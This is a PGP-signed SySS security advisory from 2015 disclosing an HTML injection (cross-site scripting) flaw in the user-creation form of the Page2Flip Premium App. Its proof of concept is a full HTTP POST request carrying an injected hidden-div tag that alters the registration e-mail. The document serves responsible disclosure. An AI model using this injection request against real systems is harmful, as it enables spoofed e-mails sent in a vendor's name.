[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[SYSS-2015-027] Cross-Site Scripting (CWE-79) in Page2Flip Premium App 2.5



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Advisory ID: SYSS-2015-027
Product: Page2Flip
Vendor: w!ssenswerft GmbH
Affected Version(s): Premium App 2.5, probably also in Business App 
                     and Basic App, and in lower versions
Tested Version(s): Premium App 2.5
Vulnerability Type: Cross-Site Scripting (CWE-79)
Risk Level: Medium
Solution Status: Open
Vendor Notification: 2015-06-29
Solution Date: 
Public Disclosure: 
CVE Reference: Not yet assigned
Author of Advisory: Dr. Erlijn van Genuchten (SySS GmbH)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

With the Page2Flip Web application, it is possible to create e-papers in
PDF format that can be flicked through digitally. Such e-papers can be
used for magazines, catalogues, flyers, etc. (see [1]).

The Page2Flip application is vulnerable to HTML injection attacks. This 
allows users to send e-mails with almost any content to another user in 
the name of the Page2Flip team.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The SySS GmbH identified a vulnerability in the "create user" 
functionality of the Page2Flip application.

At least the parameters "first name" and "last name" are not sanitized
sufficiently resulting in the possibility to inject arbitrary HTML code
that changes the content of the "your registration" e-mail. This HTML
e-mail is sent to the given e-mail address of a newly created user
account.

The described cross-site scripting vulnerability can be exploited in the
context of an authenticated administrative user and allows an attacker
to send an e-mail with almost any content in the name of the Page2Flip
team to the victim.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

The following HTTP POST request using the HTML code 
"<div+style="display:none;">" as the value for the parameter "nachname"
demonstrates that HTML code can be injected:

POST /settings/users HTTP/1.1
Host: [host]
Faces-Request: partial/ajax
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 1198
Cookie: [cookies]

accountEditForm=accountEditForm&javax.faces.ViewState=4267992298149872508%3A938284134061579979&ice.window=9aibbsfanj&ice.view=vvgml70uz&accountEditForm%3Aanrede=xxx&accountEditForm%3Avorname=%3Cdiv%20style%3D%22display%3Anone%3B%22%3E&accountEditForm%3Anachname=xxx&accountEditForm%3Aemail=xxx&accountEditForm%3Apassword=xxx&icefacesCssUpdates=&javax.faces.source=accountEditForm%3AsubmitBtn%3AsubmitBtn&javax.faces.partial.event=click&javax.faces.partial.execute=%40all&javax.faces.partial.render=%40all&ice.window=9aibbsfanj&ice.view=vvgml70uz&ice.focus=accountEditForm%3AsubmitBtn%3AsubmitBtn&accountEditForm%3AsubmitBtn%3AsubmitBtn=Save&ice.event.target=accountEditForm%3AsubmitBtn%3AsubmitBtn&ice.event.captured=accountEditForm%3AsubmitBtn%3AsubmitBtn&ice.event.type=onclick&ice.event.alt=false&ice.event.ctrl=false&ice.event.shift=false&ice.event.meta=false&ice.event.x=1251&ice.event.y=780&ice.event.left=true&ice.event.right=false&ice.submit.type=ice.s&ice.submit.serialization=form
 &javax.faces.partial.ajax=true


The HTML e-mail source code of the resulting e-mail of the PoC contains
the following HTML code

Hello <div style="display:none;"> xxx <br> 

rendering all subsequent automatically added content invisible.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2015-06-23: Vulnerability discovered
2015-06-29: Vulnerability reported to vendor
2015-07-07: Reported vulnerabilities again as the vendor did not respond 
            to the first e-mail
2015-07-14: Reminder sent concerning reported vulnerabilities
2015-08-24: Public release of security advisory according to the SySS
            Responsible Disclosure Policy

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Page2Flip homepage
    http://page2flip.de/
[2] SySS Responsible Disclosure Policy
    https://www.syss.de/en/news/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Dr. Erlijn van Genuchten of the
SySS GmbH.

E-Mail: erlijn.vangenuchten@xxxxxxx
Public Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Erlijn_vanGenuchten.asc
Key ID: 0xBD96FF2A
Key Fingerprint: 17BB 4CED 755A CBB3 2D47 C563 0CA5 8637 BD96 FF2A

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is" 
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBCgAGBQJV2x3zAAoJEAylhje9lv8qej0P/3vmT0I5h5viJz3OMZcfJih7
stRgXEsGc2el0Kz3HN7e9lBO5S+llnD2WP4IobskLtwZsKmD2CaOO9EHiIRiVzo5
k4fQ6RqLlHczOS8prxGM0ZPOzBgUcRf4xa4X3g+GG0lnq6S7CYPp58ni1N8hSQMJ
EwL0m7klsNEoi0Z/va3y3F/PONhzvSqSgUXbL9tgs4ZdWbRxTGremiN5YRqcfWxG
qTv1RZeKKC135oQxdJ/+2wnTNV3ks2IWpuslMLdcXPBkXVZKKzUGW2xYCTP48uLX
FpclVqsMnSmT34BkNUh9c8H4yE5B3/VzpTrOHN32uN5smnu/M6aMlLYaqBfWCnCp
ucYzjtMLRCY3VtygWOyhG0yFg6MnqUH34TfUz32rdywuMalrf+Kuu2Xx8NN139aC
r3RdHiDdcrSUADVHBhGM/dvwlCopqrRGBqsD1CqlEKI3gtEBxLdSU+aTKRzXJoX+
mwprFZUFirQajSAkcUhwFZ4PLzsrsIUdqflDb7DfT1lQY8gDuOMidfHwpb2rpMzc
UtKawbtC8yok94E4ukJ5n+J1qrslT/nTxRT646hjSoXcDUEpitdPLUITlV2A0Rb7
L/EmpTEhHhepOCVY0DNegxI4nsD73bZwKmQy+u+Tvm7o0wt0B/2NCaD4v9qQeYPf
KzxWcd/kOrAx5b+WrctN
=abcn
-----END PGP SIGNATURE-----